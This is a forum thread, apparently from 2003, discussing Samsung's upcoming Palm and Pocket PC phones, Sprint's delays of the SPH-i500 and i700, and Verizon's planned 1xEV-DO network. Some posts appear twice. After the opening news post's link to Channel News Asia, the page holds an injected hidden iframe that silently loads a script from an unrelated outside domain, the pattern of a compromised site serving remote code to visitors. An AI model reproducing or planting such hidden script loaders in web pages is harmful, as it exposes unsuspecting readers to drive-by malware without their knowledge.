Samsung in the News - Fast CPUs, Pocket PC Phones, SPH-i500
Samsung is in the pdaPhone news a lot lately. For one thing, everyone wants to know where is the new Palm based flip phone, the SPH-i500? This is one of the most anticipated phones and they can't seem to get it to market. It makes you wonder if the problem is Samsung or Sprint? Sprint has delayed the Samsung i700 Pocket PC based phone, while their US rival, Verizon Wireless has been shipping it to the point of being sold out a few weeks ago. Samsung or Sprint... somebody... show us the i500!
Elsewhere, Samsung has announced a 533Mhz CPU (ARM core) that will raise the bar from the current 400Mhz XScale that is standard equipment for most high-end Pocket PC Phones. The new processor supports Palm, Pocket PC, Symbian, and Linux.
Finally, Channel News Asia is reporting that Samsung plans to unveil 6 or 7 new pdaPhones this year! Wow! We knew about several, so I don't know if this is 6 or 7 new ones... or if the i700, i500 (both of them), etc. are included. The article talks about a Pocket PC Phone based M400 that has been announced for the Korean market. It is reported to work as a mobile phone, television, personal computer, digital camera, camcorder, road navigator, two way radio, and an MP3 Player. It will have a 3.5-inch screen with 128MB of memory, expandable to 512MB. The processor will be Intel’s PXA250 XScale processor running at 300MHz. With all the stuff they've packed into this pdaPhone, I wonder why they didn't go with the fastest processor available? This sounds like one incredible device if its well integrated.
Read the source article at Channel News Asia.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
Dude, post the "news" in news when you find it! I felt pretty silly when I saw all the pictures in the i700 forum. But, the jist of the story stands... Samsung is all over the pdaPhone market, but for some reason Samsung + Sprint seems to keep coming up dry. What gives?
Anyhow, I really didn't find it newsworthy at the time since they were just talking about prototypes and not actual availability.
Samsung is really going all out with the pdaPhones, while at the same time Sprint keeps tripping over their own feet when it comes to release dates and availability. I can't help but wonder if Sprint has fallen out of favor with Samsung for their delay of the i700's release and for allowing the Hitachi to launch first.
I mean the scenario would play out... Samsung develops prototype i700 and markets it to carriers. Sprint becomes the first to pick it up and works with Samsung to get FCC type acceptance. Sprint starts dragging their feet perhaps wanting to wait and re-work the device with the new 2003 OS. Samsung, looking for a more immediate return on their investment decides to once again solicit the wireless carriers and lands Verizon, who sees the i700 as an opportunity to one-up Sprint by releasing "their" phone before they do.
What do you guys think the chances are of the m400 being released in America (by Verizon) as a sort of Executive version of the i-700. I would definately pay the extra money for this version. I cannot believe that they still are not using the pxa 255 400mhz chip though?
The two way radio can be used great with Verizon's new two-radio (nextel like) service.
What do you guys think the chances are of the m400 being released in America (by Verizon) as a sort of Executive version of the i-700. I would definately pay the extra money for this version. I cannot believe that they still are not using the pxa 255 400mhz chip though?
The two way radio can be used great with Verizon's new two-radio (nextel like) service.
VzW would need to have EVDO up and running to support the streaming video capabilities of the m400. I'm guessing that would be a year or two away from reality. When they get their EVDO, gigahertz processor, 512 MB ram built in, a multi-megapixal camera, camcorder and satellite Direct TV, now that is when the good times will roll!
"Verizon Wireless revealed Monday at CTIA 2003 in New Orleans that it will launch third-generation, or 3G, wireless networks in two markets, as well as nationwide Wi-Fi access, in the fall.
The 3G networks, based on 1xEV-DO technology, will be rolled out in Washington, D.C., and San Diego. Trials in both markets have already been completed.
The networks will give users speeds up to 2.4 megabits per second, with average speeds ranging from 300 kbps to 1 mbps, much faster than Verizon Wireless's existing 2.5G 1xRTT Express Network, which offers maximum speeds of 144 kbps. "
ALSO A DIFFERENT SITE
"Verizon Wireless Plans 3G 1xEV-DO Commercial Launch
18th March 2003
Verizon Wireless and Nortel Networks announced that Verizon Wireless plans to launch a commercial CDMA2000 1xEV-DO (1X evolution-data optimized) wireless network in San Diego beginning in summer 2003 based on solutions from Nortel Networks."
So from the way it sounds they completed the trials of 1xEV-DO in Washington DC and San Diego and now they are going to roll it out full blown in those 2 cities starting this summer or fall. The question I have been pondering is whether and when there will be sufficient demand to generate the ROI needed for VzW to justify rolling this out nationwide. Will the ROI be there only when the 1xRTT is busting at the seams? Do most customers want this bad enough to be willing to pay for high enough priced EN plans (or high enough "data included with your voice minute" plans) for VzW to invest in a full blown nationwide rollout of 1xEV-DO?
I hope the answers are, yes, VzW won't hesitate to pull the trigger on getting the technology out as soon as they can. I just don't know if their ROI considerations have been met yet.
I cannot see any reason that anybody using 1xrtt now would not want/prefere 1xEVDO. Also, I think the introduction of 1xEVDO will bring in a new flux of people. Those that are currently using WiFi hotspots do so because 1xRTT and GPRS are just too slow for their needs. But EVDO will give them the speed they need, plus nationwide coverage versus just spots in major cities.
I cannot see any reason that anybody using 1xrtt now would not want/prefere 1xEVDO. Also, I think the introduction of 1xEVDO will bring in a new flux of people. Those that are currently using WiFi hotspots do so because 1xRTT and GPRS are just too slow for their needs. But EVDO will give them the speed they need, plus nationwide coverage versus just spots in major cities.
Sounds good brianworkman, I'm convinced! I hope VzW understands the potential if they roll this out right away. A quick rollout of 1xEV-DO right on the heels of 1xRTT just left me wondering about the duplicate costs of upgrading twice. Maybe 1xRTT was a necessary stepping stone for 1xEV-DO and so they won't balk at updrading the network again.
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